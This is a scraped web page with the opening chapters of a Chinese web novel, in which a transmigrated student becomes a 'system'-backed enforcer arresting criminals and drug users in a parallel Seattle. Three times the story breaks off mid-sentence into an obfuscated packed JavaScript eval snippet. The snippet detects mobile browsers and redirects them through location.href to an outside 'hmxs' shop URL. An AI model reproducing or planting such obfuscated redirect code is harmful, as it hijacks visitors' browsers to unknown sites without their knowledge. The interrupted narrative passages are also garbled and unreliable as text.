《斩杀线,但我扫黑除恶》 1. 第 1 章 “砰砰砰!” 明安猛然惊醒,匪夷所思地捂着心脏,哪个显眼包大晚上在学校放烟花? 是写不出论文就想把学校炸了?可炸了就不用写了吗?? 然而映入眼帘的却不是自己熟悉的宿舍,而是一张极为可怖的脸。 男性,白人,约莫五六十岁,身高超过一米八,但姿态有些佝偻。 眼眶和面颊因过度消瘦而凹陷,灰色的胡子一缕一缕的黏在一起,眼睛浑浊,瞳孔呆滞,身上还带着一股刺鼻的气味。 明安的大脑空白了一瞬,身体条件反射地掏出一把水果刀,紧紧将其攥住指向他,呵斥道:“离我远点!” 吼完之后,她才发现自己说的居然不是母语,而是“Getawayfromme!” 男人看了她一会儿,在她的戒心攀升到极致的时候终于后退几步,一言不发地走开了。 明安没有松懈,依然神经紧绷地盯着他。 她看到他在不远处的墙根坐下,裹着一件又脏又破的大衣,时不时向她投来难以捉摸的目光。 这样的人还不止他一个。 漆黑寂静的街道上,隐约可以看到些许维多利亚风格和低层砖木商店相结合在一起的建筑轮廓,在一个快餐店的招牌前,一个又一个人影像幽灵一样在城市里游荡,姿态诡异。 还有几个稍微正常一点的人靠在电线杆旁远远地看向她,口中吐着白雾,分不清是冷热差异造成的水蒸气还是其他。 见她醒了,似乎有些意外。 明安看到他们在交流,她的英语水平一般,现在却莫名能听懂。 但距离有点远,她只隐约听到几个疑似“nodead”“Agirl”“AbandonedhealthyAsian(被遗弃的健康亚裔)”的短语。 那股刺鼻的味道更浓了。 明安浑身发僵,呼吸急促,心脏剧烈跳动着,几乎令她有些难以呼吸。 她后知后觉地发现自己也露宿街头,身上的衣服被细雨打湿,浑身无力,冷热交加,大脑昏昏沉沉,还传来一阵阵钝痛。 但现在不能放松警惕,她本能地感到危险。 明安强撑着精神在身上摸索翻找着,却没有找到任何能说明她当前状况、哪怕只是证明身份的信息,最后她只能努力看清了一个路标上的字母,“Downtown3rdAve……” 西雅图著名无家可归者聚集地:市中心第三大街。 明安几乎心脏骤停。 她依稀记得自己睡前似乎看了一些揭露美国底层人民现状的视频,非常掉san,然后就失去意识了。 难道是因为这个做噩梦了? 这时一道机械音响起,【当前时间:00:22a.m.PST,位置:山姆国华盛顿州西雅图市。蓝星人民法院“扫黑除恶”部系统011已就位,请问您是否愿意成为人类执法者……】 与此同时,大量记忆涌入了明安的脑海。 那是一个和她有着一样姓名和相貌的女生,出生在东州长江下游地区,家中还算富裕,经营着一个在地方小有名气的企业。 母亲明爱是家里的独生女,力排众议和大学认识的外地男友梁诚结了婚,两人恩爱非常,孕有一女,二十余年里几乎从未发生过争吵。 然而在明家长辈和明爱相继病逝的时候,梁诚就露出了真面目。 他快速接管了明家的家产,开除了不少以前的老员工,还不知道从哪里接回来几个年轻人空降公司管理层,疑似是他的私生子。 与此同时,他还冻结了赴米留学的女儿的名下的所有储蓄和资产,切断了她的学费、生活费等所有资金供应。 知道以后收不到钱了,原先关怀备至的寄宿家庭将她扫地出门。 他们还故意开车将她丢在这个街道,拿走了她的手机和护照,也不知道是本就不怀好意,还是背后有梁诚的授意。 本就有遗传性心脏病的原主发着高烧,就这样惊吓过度地死在了街头。 “嘭!嘭嘭嘭嘭!” 又是几道自由民主的枪声响起,像是打在人的耳膜上,和烟花天差地别。 明安的心脏又开始难受了,无比清晰地意识到自己十分倒霉地穿越到了一个和阿美莉卡高度相似的国家,她的第六感正在疯狂拉响警报,满脑子只有求生欲。 什么扫黑除恶?这在米利坚怎么能叫恶? 这憨货不如去街上抓几个偷偷在车里睡觉的,这里又不是华国。 这年头系统太多了,它开出的条件根本排不上号。 明安无视了对方的话,她觉得自己现在的当务之急应该是联系大使馆把自己遣返回国,顺便弄点正常的药,而不是什么止痛剂,更不是什么扫黑除恶。 再耽误下去先不说能不能见到明天的太阳,脑子都要烧坏了。 她毕业论文还没写完呢,刚提交了初稿,也不知道导师是怎么回的…… 然而系统的声音浇灭了她的希望,【经检测,您过去的身体已失去生命体征,死因为过度熬夜且短期情绪波动过大造成的急性心肌梗死。且这里是另一个类地球平行时空——蓝星,很抱歉,您暂时无法回到学校完成论文。】 【道路右方有几名可疑男子,其中一人通过大数据比对确认其与一名杀人通缉犯的面部特征重合度高达99.9%,疑似对您有犯罪意图。根据《东州人民共和国刑法》,故意杀人的,处死刑、无期徒刑或者十年以上有期徒刑*……请您立即将其缉拿归案。】 紧接着,半透明的系统面板便将一则山姆国官方发布的通缉令呈现在她面前。 【当前案件危险评级:C】 【奖励:100功勋点】 【新手入职礼包已发放:麻醉枪x1、执法者全身恒温防弹工作制服x2、无痕麻醉剂不限量、手铐不限量、8h最低限度生命安全保障期。祝您工作顺利。】 “……” 平行时空就不危险了吗?那不也是——等等、这个法条怎么这么耳熟? 明安发热的脑子宕机了一下。 三秒后,她从心地收下了礼包。 扫黑除恶,人人有责,虽然不记得自己到底是什么时候同意入职的,但身为一名社会主义接班人,她立志将赤旗插满全世界,不可能会对明目张胆的犯罪视而不见,尊敬的系统显然也与她心意相通。 事已至此,先活下来再说。 明安深吸一口气,转头看向了右方的道路,果然看到之前盯着她的那几个人正在靠近。 他们目光兴奋地盯着她,不像是在看一个活生生的人,倒像是看地上的一大叠美金。 最前面那名长着黑色络腮胡的男子就是系统所说的通缉犯,他穿着一件带兜帽的黑色卫衣,外面套着棕色皮夹克,双手插在兜里。 其中一边的口袋微微鼓起,像是手里握着什么东西。 至于到底是什么,明安不想去猜,但这个答案根据此地国情几乎呼之欲出。 她瞬间屏住了呼吸,这时候没法换防弹制服,安全保障期也只能最低限度地维持她的生命体征,受了致命伤没在8小时内得到治疗照样得死,失去行动能力后可能还死得更痛苦。 他们正在向她走来。 明安的大脑飞速运转,浑身几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060377|195046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎失去知觉,死死地看着他们,整个人看起来如同惊弓之鸟,想要逃离却已经被围住。 她下意识将旁边的背包抱进了怀里,攥紧水果刀的手在颤抖,这显然不具备足够的威慑力。 领头的通缉犯发出了短促的笑声。 其中一个人愉快地说:“女孩,不要害怕,我们没有想抢你的东西……” “我不太喜欢你手里的小玩具,不过它确实很漂亮,可以给我看看吗?” 说着,他友善地向她伸出了手。 明安面色苍白,像是失去了思考的能力,停顿了片刻,犹豫地将水果刀放进了他手里。 这几个人笑得更厉害了。 通缉犯不耐地说了一句“愚蠢的亚洲人”,脸上的谨慎散去,直接将手从口袋里伸出来拽住她的衣领,想要把她往巷子深处拖。 然而下一秒,他就浑身一僵,不敢置信地捂着脖子,缓缓倒在了地上。 明安将背包丢下,露出了手里的麻醉手|枪。 大口径的发射管在黑暗里折射出一道冷光,她克制着身体本能的恐惧,缓缓跨过地上的通缉犯,将枪口对准他们的头,用英语清晰地说:“不许动,否则子弹会打爆你们的脑子。” 现场霎时安静了下来。 明安眼前阵阵发黑,握枪的手微微颤抖,姿势并不标准,连武器的使用方法都是刚刚通过系统说明书现学的。 但她的语气冰冷,而且肯定。 夜色与倒下的躯体掩盖了她的破绽,饱受枪击威胁的阿人没有怀疑她的话,下意识抬起了双手,恐惧地说“No!” 他们显然没有枪,试图说什么来脱身,然后明安却在平稳呼吸后再次毫不犹豫地开了枪,她没有时间来对他们仁慈。 “No!Please!” 惨叫声中,又有一人倒下了。 由于系统给的麻醉枪和普通手|枪外形相似,他们并没有发现异常,只以为人已经中枪死了。 他们惊恐地大叫,看她的眼神像是在看一只披着羊皮的狼,立刻慌不择路地逃开。 明安暗道糟糕,连忙追上去。 她准头很差,但还好麻醉枪可以连发,而且不限量,只要射的够多总会中奖。 嘭,嘭,重物倒地的声音响起。 明安终于将他们放倒在了大街上,重重地松了一口气,心脏跳得发疼。 由于不清楚麻醉剂的时效,也为了防止他们醒来逃跑,她给他们带上了手铐,还发挥了一下创意,将他们彼此的手拷在了一起,围着电线杆绕了一个圈。 然而还没来得及思考接下来怎么办,眼前发生的事就让她脑子一懵。 这几个人竟然凭空消失了! 还好系统的机械音很快就给出了答案,【恭喜您成功逮捕1名犯罪进行中的杀人嫌疑犯与4名从犯,蓝星人民法院已核实,300功勋点已到账,犯人已移送至空间监狱。】 【现场发现其他可疑案件线索,关键词“健康的亚裔”,评级:未定,奖励:未定。请您细心留意。】 话音落下,类似打印机工作的声音响起,一张盖着红印的文书缓缓落地。 明安定睛一看,只见上面的标题赫然写着“判决书”三个黑体加粗的大字。 正文是被告的身份信息、案件经过、判决结果和法条依据,最后是日期和落款:蓝星人民法院,格式和正常的判决书很相似。 “……” 明安已经不想问你跑来阿米抓捕罪犯为什么引用《刑法》了,但你在使用英语的国家发判决书也用中文,这…… 莫非系统“madeinChina”? 2. 第 2 章 在她心情复杂的时候,一个缩小的监狱模型在系统面板上呈现出来。 显然这就是“空间监狱”。 上面划分了中央监控室、监房、劳改车间、农场、医务室、戒毒中心、厨房和食堂、洗手间和洗衣房、办公区、教室和图书馆以及各种运动娱乐设施等等区域,还有她个人的休息室,一应俱全。 其中五个监房显示“已入住”,旁边有入住者的信息和实时更新的刑期。 还有智能系统监测他们的状况,一有异动就会发出警报,又保证了一定的隐私权,而且全程不需要她插手,她只需要负责依法抓人就好。 太高级了…… 明安放下心来,她正愁人抓了不知道往哪放呢,要是最后的结果是把他们送去阿美的监狱,她宁愿不抓。 资本主义国家的监狱都是能上市的,利润来自哪里可想而知,她实在很难对其抱有信任。 虽然有些罪犯未必值得同情,但她没有给资本家做嫁衣的闲心。 危险得到解除后,明安紧绷的神经渐渐放松下来,捂着心口慢慢坐下来深呼吸,手里的两把枪触感冰冷而陌生,却给人极大的安全感。 冬日浑浊的冷空气灌进她的肺里,细细的雨丝随风染在她身上。 宿舍里熬夜写论文的自己好像突然变得很遥远,此时她正身处异国他乡甚至是异世界,一眼望得到头的人生已经劈叉。 还好她早就没有什么亲人了,就算死了也不会给太多人带来悲伤。 只希望不要吓到了几个舍友,要是能助力她们保研就更好了。 明安没有花太长时间去伤感,稍微缓和了一下便谨慎地看向了周围。 监控不知道被哪位热心市民打掉了头暂时不必担心,难处理的是目击者。 但令人意外的是,刚刚活人消失的一幕并未在人群中引起多大的注意,仿佛再离奇的场景对他们而言都已司空见惯。 其中一个homeless定定地看了电线杆一会儿,竟突然笑了起来,以一种诡异的姿态开始在街道上手舞足蹈,看着就精神状态堪忧。 “……” 明安心情复杂,问系统:“吸|毒在东州也是违法的,这个要抓吗?” 系统界面出现变化,调出了空荡荡的戒毒中心,【抓捕吸毒人员,危险评级:D,奖励:10功勋点一名。】 明白,都是业绩。 明安刚刚在系统的【兑换商城】扫了一眼,这功勋点可谓比真金白银还要万能,不但能购买各种高科技的装备和药物,兑换成美元的汇率居然还是1:10。 也就是说一个功勋点就等于十美元,她刚刚一下子就赚了三千美元。 老实说,贩|毒可能都没这么快。 赚钱的办法果然都写在刑法里。 明安叹了口气,找了个隐蔽的地方将执法者制服也就是她的工服穿上。 它的款式和军用覆面作战服类似,黑色为主,全身包裹,靴子手套全都有,浑身上下只露出一双眼睛,且有高清透光的护罩保护,每一寸布料都有防弹功能,面罩可以过滤毒气,穿起来也非常轻便。 还能自动调节温度,能让使用者时刻处于最适宜人类生存的温度中。 说明书上还说,它携带超薄外骨骼装置,能够给人体提供支撑和强化,让力量和速度翻倍,以减轻工作压力。 而且大臂上有“人类执法者”的徽章,胸前还有一面共产主义旗帜,口罩也绣了锤子镰刀,红得发烫,简直是社会主义接班人的梦中情服,实在令人难以抗拒。 赤旗真要插到全世界去了,系统莫非还是个共产主义的拥护者? 稍微活动适应了一下后,明安从黑暗中走出来,将附近这些吸|毒人员送入了戒毒中心。 两个小时后,她找到二十多名吸|毒者和两名正在进行交易的贩|毒者,连带他们身边的物品也仔细整理好送进了空间监狱。 除此之外还发现两具疑似失温冻死的尸体,旁边几个流浪汉像发现了目标的食腐动物一样聚了过来。 但明安从他们身上同样发现了违规药物,便直接一起送入了空间监狱。 美利坚的殡葬服务体系堪忧,这个山姆国看起来也好不到哪去,她严重怀疑如果自己不管,他们很可能就会成为某个富豪收藏室里的标本,或者出现在某个公司和机构的实验室里。 或许她有时间的时候可以找一下他们的亲朋好友,亦或是找个地方下葬。 【功勋点+20】 明安有些意外,看来执法者做点好事也有回报,这大概是属于人文关怀的范畴。 她在忙活的时候,系统也没闲着,明安每抓一个人它就吐出一张文书。 最后明安看着一地的纸欲言又止,但还是没有把心里那句“这算不算乱扔垃圾”给说出来。 大功告成后,明安收获470功勋点,目前功勋点余额是770。 正常来讲这片区域应该不止这些人,但现在是冬天,有条件的都去暖和的地方睡了,剩下的这些大多没有意识或者行动能力,如果不将他们带走明天可能就梆硬了,能找到这些也很不容易。 而且她本人对这里不太熟悉,原主也很少接触这些事,真正的无家可归者密集区她还不知道怎么去。 其实在今晚找到的人里也有极少数是合法公民,而且非常好辨认,一时精神状态较为正常,二是她给他们戴手铐的时候系统会显示【犯罪证据不足,无法逮捕】。 面对他们惊恐的眼神,明安连连道歉,一时也分不清到底谁受到的惊吓更大。 结束搜寻工作后,她坐在地上大口喘气。 喉咙和胸腔火辣辣的疼,头也继续昏沉起来,稍微一运动就能清晰地听见自己心跳的声音,看来高烧给她的影响还没有消失,而且现在的身体比她以前还脆皮。 不能继续折腾了,明安打起精神来,翻了翻兑换商城,退烧药5个功勋点,止疼胶囊5个功勋点,隐身卡100个功勋点……真的假的,这么高科技?明安有时候真怀疑这是自己临死前的幻觉。 权衡了一会儿后,她闭眼花666功勋点给自己喂了一颗“健康灵”。 这比普通的退烧药贵一百多倍,比单独治疗心脏病的药也贵很多,但说明上写着什么病都能治好,还能将身体恢复到最佳状态,一劳永逸,感觉还是很划算的。 药效发作后,明安感到有什么清凉的液体在腹部扩散开来,流淌到全身。 她有一瞬间失去了意识,但醒来后已经变得清明,积攒的疲惫也一扫而空,心脏跳动的声音变得强健有力起来,呼吸不会再那么困难,五感都似乎变得清晰了。 整个世界焕然一新。 明安松了一口气,心情顿时轻快起来,拥有健康的身体是活下去的第一步。 见面板上还有个人信息,她点开来看了看。 【姓名:明安】 【身份:实习狱长/执法者/业余收尸人】 【功勋点:104】 【效果:最低限度生命安全保障期(剩余时间5小时42分)】 “……” 业余收尸人是认真的吗? 明安沉默了一下,正想吐槽,却注意到那个生命安全保障期是纯粹的新手福利,无法在系统商城里购买。 看着它不断减少的时效,她本能地焦虑起来,总觉得不再干点什么就太浪费了。 索性空间监狱里的人晚点再安排也来得及,明安想起之前将她吓醒的枪|击声,当即从地上爬起来朝那个方向赶去。 系统似乎对她的行动力感到意外,【建议您合理安排工作强度。】 一个出生于和平社会的人,一生遵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060378|195046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纪守法,两个多小时以前还在为论文头疼,却在这短短时间里解决完自己的人身安全、抓了那么多罪犯和吸|毒者,现在还要去掺和枪战? 明安却道:“干完这票再说!” 人的恐惧皆源于火力不足,发现自己没那么容易玩完就没那么怕了。 而且俗话说得好:来都来了。 就算不一定真的有收获,也好歹要去看看吧? 她还没见识过真的枪战呢。 唯一值得担心的是,这么久过去,也不知道枪战的当事人还在不在…… “嘭——!” 比枪声还要恐怖的爆炸声突然响起,几乎让人感觉脚下的地面都震动了一下。 自由米利坚,枪战每一天。 他们居然还没有结束?! 明安双眼一亮,气喘吁吁地加快速度,同时还有些诧异于系统的关心和询问,“系统,原来你不是人机啊?” 【……】 系统没有再和她说话。 明安用最快但速度抵达案发地的时候,各种建筑碎片散落在地,七八两警车堵在路口,喊话声和警笛声此起彼伏。 一辆警车上燃起了熊熊烈火,风卷着浓烟和热气扑面而来,旁边还有几具警察的尸体。 明安惊呆了,她果然还是社会主义巨婴,这种的场面她真没见过。 她很快找到了一个掩体,谨慎观察着周围的情况。 只见警察拿着喇叭对着警局破口大骂,记者的摄像机不断闪烁。 而警局中也传来一道愤怒而中气十足的女声,其中出现频率最高的便是那句“Returnmydaughter!(归还我的女儿)”。 明安跟旁边同样在看热闹的黑人流浪汉搭话,“嘿,这里发生了什么?” 黑人流浪汉看得津津有味,头也不回地说:“警局里的那个女人的女儿失踪了,有人说警察带走了她的尸体,但他们否认这一点……这些该死的混蛋……” 明安了然,她发现自己脑子里也有相关记忆。 因为那个失踪的女儿米亚就是她所在的华盛顿大学西雅图分校的学生,这件事闹得很大,原主也看过很多报道。 对方和她一样是学校里的Nerd,大概意思是书呆子,比较独来独往,不太受人欢迎。 因此她很少参加活动和聚会,每天都按时回家。 但突然有一天,她的母亲佐伊下班后,却没有在家中看到她,电话始终打不通,到处都找不到女儿的踪迹。 于是佐伊报了警,四处张贴寻人启事,并向各种机构寻求帮助。 可在寻找女儿的时候她不得不离开了工作岗位,失去了收入来源,很快就花光了所有积蓄,还被迫卖掉了房子,最后却没有得到有价值的信息,甚至有一些人品败坏的人写信给她说“你的女儿很美”。 而目前唯一有强烈指向性的线索就是那位目击者所说的:警察带走了米亚的尸体。 佐伊第一时间去警局询问,但警方极力否认这一点,说根本没有这回事。 佐伊并不相信。 于是今天晚上,她闯入了警察局寻找线索,很快就发展成了这个局面。 不过值得庆幸的是,她参过军,以前还是个高级军官,武德充沛,依靠警局的武器和警方对峙了两个多小时。 明安有些感慨,想起了自己的母亲,但她很快就回过神来,并且发现了一股熟悉的味道。 她不禁转过头去,碰了碰黑人流浪汉的胳膊,“老兄,你吸了?” 黑人流浪汉:“是啊,你也要来点吗?” 明安礼貌道:“不用了,谢谢。” 她将他逮进了戒|毒中心。 【功勋点+10】 温暖的老兄变成了冷冰冰的功勋点,明安心如止水,继续观察着现场的情况。 3. 第 3 章 随着事态升级,周围的人越聚越多。 警方已经失去了耐心,直接将佐伊当成了恐怖分子来对待,隐约有放弃劝说的态度,连记者的采访也不再回应。 他们开始使用杀伤力更大的武器,刚丢了一个破门榴弹,紧接着又丢一个催泪瓦斯进去。 警局里的女人声音嘶哑,崩溃地喊了一句“我只是想要回我的女儿!” 然后就再也没有声音了。 局长阴沉着脸,指挥着警员,打算强硬地攻入警察局将佐伊逮捕。 这可不太妙,如果警方真有什么问题,进去之后把人一崩,再出具一份精神失常的诊断书什么的,岂不是死无对证? 先前的报道里似乎也提过佐伊在服用精神类药物,应该是战后创伤应激综合征。 但后来又有人说是双向情感障碍和精神分裂,也不知道是媒体胡乱猜测还是故意搅混水 明安深吸一口气,购买了那个1h的隐身卡,将其插|入执法者制服的一个预留卡槽中,身形顿时像变色龙一样和周围的环境完美地融合在一起,消失在了夜色里。 数位警员戴上了面罩,持枪埋伏在警察局两侧,一得到局长的命令便立刻往里面冲。 期间局长给他们使了一个眼色,警员微不可察地点了一下头,将枪支上膛。 但就在这时,局长突然感到一根冰冷的枪管抵住了自己的后脑勺,并给他下达了指令。 “让他们停下。” 局长面色大变,下意识喊了一声,“stop!” 警员们不明所以地看向他。 只见自己的长官浑身紧绷地抬起了双手,明明周围空无一人,神情却像是被劫持了一样,口中还问着“Whoareyou?Whatdoyouwanttodo?”之类的话语。 明安见那些山姆国警察停下了脚步,没有继续往往警察局里去,微微松了一口气。 但下一秒面前看似听话的局长就猛然转身,循着枪管的方向击向了她的手,同时拔出手|枪毫不犹豫地扣下了扳机。 明安一惊,下意识躲避,但还是不够快,腕部瞬间传来扭痛,枪声像击中了她的耳膜一样炸响。 她经验太少,尚且没能克服人类遇到危险的本能,在这一瞬间大脑几乎一片空白。 还好执法者制服对力量和速度有加成,她握枪也握得很紧,并没有因此被夺械。 而且她本来其实也并没有和对方继续交流的意思,所以也开了枪,还比对方快了零点几秒。 只见警察局长转头一看,发现自己身后空无一人,露出了极为震惊的神色。 紧接着便发出一声短促的痛呼,捂着后颈不受控制地倒在了地上。 “发生了什么?!” “他这是怎么了?!” “刚刚他在朝谁开枪?!” 人群中传来惊呼,所有人都错愕地看着这一幕。 警员们顾不上抓人,连忙上前查看自己长官的情况,新闻工作者狂按快门,几乎要冲破警戒线,现场再度混乱起来。 明安捂着肩膀手忙脚乱地躲开往这边跑的人,趁乱钻进了浓烟滚滚的警察局,疼得呲牙咧嘴。 刚刚那一枪正中她的肩膀,虽然执法者制服有防弹效果,但巨大的冲击依然不可小觑,尤其是在距离这么近的情况下,明安怀疑自己很可能已经骨裂了。 山姆国的条子也是武德充沛,也不怕伤及无辜,她后面可全都是群众和记者,要是没打中她估计就打中别人了。 太恐怖了,禁枪万岁。 明安缓了缓一会儿,又摸了摸肩膀,发现衣服一点没破后不禁感慨了一句“这工服质量真好”,便忍着剧痛抓紧时间在警局里寻找佐伊。 很快她在几张被放倒作为掩体的桌子后面,发现了一个蜷缩在地的女人。 对方显然吸入了过量的催泪瓦斯,不断咳嗽着,皮肤涨红,脸上满是痛苦,眼睛睁不开,也说不出话来,眼泪和血混在脸上,浑身都沾满了尘土,有几个地方还有正在流血的枪伤。 明安通过记忆仔细确认了一下对方的身份,却看着周围散落一地的文件有些不好下手,于是单膝蹲下去问:“你好,佐伊女士,我是来帮你的,这里有和你女儿有关的证据吗?” 佐伊浑身紧绷,听到陌生的声音条件反射地弹开,抄起一把枪对准她。 “滚开!不要靠近我!” 明安一惊,但很快发现对方手里这把步枪没有装弹夹便放下心来。 她握住枪|管,又挪过去安抚地拍了拍对方的脊背,表现自己的友好,“快没时间了,佐伊,你需要告诉你女儿失踪的证据在哪里,我才好将它和你一起带走。” 或许是女性的声音给了她一丝信任感,也或许没有别的人可以依靠,佐伊紧绷的神经微微放松,持枪的手也慢慢放了下来 可发出的声音却带着深深的无助和绝望,“No!Noevidence……” 她没有找到证据。 佐伊奔溃地在地上痛哭。 女儿是她唯一的亲人,她承诺过会保护好她的。 可现在她失去了女儿,失去了一切,还像个恐|怖分子一样闯入警察局,杀了很多人,却连女儿的尸体都不知道在哪里。 没有证据,什么都没有。 明安沉默片刻,想要安慰,但又觉得很无力,最终她什么都没说,只是将手铐戴在佐伊的手腕上,让系统送入了空间监狱。 【逮捕危害公共安全罪嫌疑人佐伊,危险评级C,功勋点+300】 或许是事情的真相并没有完全查清,系统这次没有留下判决书。 外面的警笛声仍然不绝于耳,明安捂着剧痛的肩部与冲进来的山姆国警方错身而过,在无人知晓的时候离开了这个混乱的地方。 临走前她看了一眼被抬上救护车的警察局局长,系统面板上浮现了一行冰冷的【犯罪证据不足,无法逮捕】。 …… 这不是一个轻松的工作。 离开枪战现场后,明安找了个隐蔽的地方进入空间监狱,浑身又疼又累,瘫在中央监控室里连喘气的力气都快没有了,像是刚跑完马拉松又被火车碾过。 但现在不是休息的时候,她还有很多事情要做。 佐伊的伤还没有处理,那些罪犯和吸|毒者也不知道情况怎么样,放着不管万一他们发生了什么意外怎么办…… 明安这样想着,深吸一口气试图从地上站起来。 然后她就昏了过去。 中央监控室内安静了片刻。 在她失去意识的时候,角落里一个不起眼的白色机器人一点点地亮了起来,屏幕上散发着深蓝色的荧光。 它缓缓从能源底座上悬浮起来,来到明安身边绕了一圈,先是低头用“眼睛”扫描完她的全身,然后伸出机械臂从腹部的空间里拿出一支修复剂和一支营养液给她喂了下去。 “叮铃铃……” 不一会儿,铃声响起,机器人将垃圾丢进垃圾桶,离开了中央监控室。 它先是去农场摘菜和抓鸡,用拖车拖回厨房处理和烹饪,然后将其等量地分成数十份,依次给戒毒中心和监房里的人送去,还顺便给受伤的人注射了疗伤药。 每来到一个房间,就会得到一声声充满震惊的“OhmyGod,OhmyGod!” 但对于他们“你是谁”“这是哪里”“能不能放我出去”“你们为什么抓我”之类的问题,它一句都没有回答。 做完这些后,它开始打扫卫生、维护监狱设施、制作各种产品,以及种菜和喂鸡。 整个空间监狱井然有序。 明安睡得很沉,还做了一个梦。 “安安?安安?” “快醒醒!你导师找你!” “她给你打了好几个电话了,再不回就要延毕了!” 明安猛然惊醒,连忙去摸手机,“什么什么,我要延毕了?!” 她连忙解锁屏幕,上面立刻弹出了一个通话页面,赫然写着导师的名字,明安险些心脏骤停,连忙伸出颤抖的手滑向接通。 “喂、喂,导师您好……” 导师的声音带着怒气,“马上就轮到你答辩了,为什么评委告诉我说还没到教室?!” “这是你大学四年最重要的日子,你至于忙到连这点时间都没有吗!” “就算你选调到了中央,单位也不至于不放你回来答辩吧?!” “不不不、不是……” 什么的答辩?什么中央?明安整个人都懵了,“我不是才……我的论文已经通过了吗?” 导师:“不然呢!你是还没睡醒吗?!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060379|195046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “赶紧给我过来!” 明安连连点头,急忙起来收拾东西,拿起桌上打印好的论文和答辩稿。 临走前见三个舍友打游戏的打游戏、化妆的化妆,还有一个在看小说,下意识问了一句,“你们不走吗?” 舍友说:“我们早结束了,你快点去吧!” “哦哦好。” 明安告别她们,在阳光明媚的校园里狂奔,与几个穿毕业礼服的同学擦肩而过,还蹭了一个朋友的小电驴。 神奇的是,之后的一切都进行得非常顺利。 评委老师没有问太苛刻的问题,她也答得很流畅,单位领导还通知了她具体上班时间,并且距离现在还有一个多月。 她和舍友约定一起毕业旅行,然后回了一趟老家祭拜在她高考结束后就病逝的妈妈,告诉对方自己要去北京工作了。 妈妈一定会很骄傲,她打小就说她会念书,以后长大了会很有出息,让她不要听那些让她赶紧找个男人结婚的话。 村里人也不知什么时候改了口,对她很客气,还告诉说好像在集市上看到了她的父亲。 明安只是笑笑,没有理会。 那个人很早就离开了她和母亲,说是去了外地打工却从来没有寄钱回来,反而总是找各种借口问妈妈要钱,要不到了就问村里人借,借完就没消息了,害得妈妈总是被催债。 妈妈吃了很多苦。明安忍不住在墓前哭了起来。 她一直怪自己,怪自己没有早点独立起来分担家庭的重担,怪自己没有早点发现妈妈已经病得那么重,也怪自己要去那么远的地方,把妈妈一个人留在了这里。 她太没用了,太自私了,太不孝顺了……她不是一个好女儿。 可墓碑上的妈妈在对她笑。 她说:‘安安,你要考出去,要考到大城市里去,走得越远越好。’ 天空很蓝,阳光明媚到刺眼,看着就让人觉得未来有无限可能。 明安从梦中醒了过来。 她睁开眼,心情像坐了过山车。 就知道是假的!论文怎么可能那么容易就通过?导师怎么可能这么温和? 还选调到中央,她可真敢想。 明安抹了一把有些湿润的脸,很快她发现自己身上的疲惫早已一扫而空,肩膀也不痛了,像是从来没有受过伤一样。 而且人还被挪到了黑色皮质沙发上,腹部盖着一条柔软的针织毛毯。 虽然她没有感到寒冷,但似乎是一种仪式感。 明安微微抬头,中央监控室里的大屏幕上播放着《黑猫警长》的片头,还有一个机器人边看边织围巾,熟悉的童年旋律和科幻片一样的画面让她从梦境中抽离出来,回到了这个不太现实的现实当中。 等等,一个机器人,在看《黑猫警长》,它还会织围巾??? “黑暗不能掩盖我的眼,邪恶无法挑战我的勇气!我是黑猫警长,用我的智慧和力量,守护这片美丽的森林!” “全体注意!立即出发!” “一只耳,你跑不了啦!” “……” 明安的大脑宕机了一下,这才试探地看向那个机器人,“……系统?” “该语境下,系统是某种数据生命的统称,并不适合作为单个个体的特指。” “人,你可以叫我011。” 011一板一眼地说,放下手中的毛线球,用机械臂将一式两份的文件和签字笔递给她,“您好,明安女士,请问您是否愿意成为人类执法者?如果是的话,请签署这份文件。” “……” 明安默了默,以前还真没发现这个问题,“……好的011。” 110倒过来念,这很合理。 机器人喜欢看动画和织毛衣,也很合理。 她这样告诉自己,低头看到手里这叠a4纸的时候却还是有些疑惑,“你还需要我签吗?我不是早就被同意了?” 011:“根据《东州人民共和国民法典》《合同行政监督管理办法》,经营者订立合同应当遵循平等、自愿、公平、诚信的原则*……强迫他人签署合同或协议属于违法行为,请您不要诽谤您的同事。” 说罢,它吐出一封律师函。 “……” 起猛了,一个非人类系统疑似要向她发起诉讼。 4. 第 4 章 明安没怎么犹豫就签署了协议。 以前的生活已经回不去了,虽然昨晚是形势所迫,但现在回想起来,她并没有感到什么后怕的情绪,反而有种莫名的热血沸腾。 她觉得自己应该是喜欢这种紧张刺激的生活,而且这听起来很有意义,至少比她写的那份狗屁不通的论文有意义。 不过看着手中的《蓝星人民空间监狱合伙人与执法者聘用协议》,她还是有种不真实感,“不需要再考虑一下吗?” 执法者三个字责任重大。 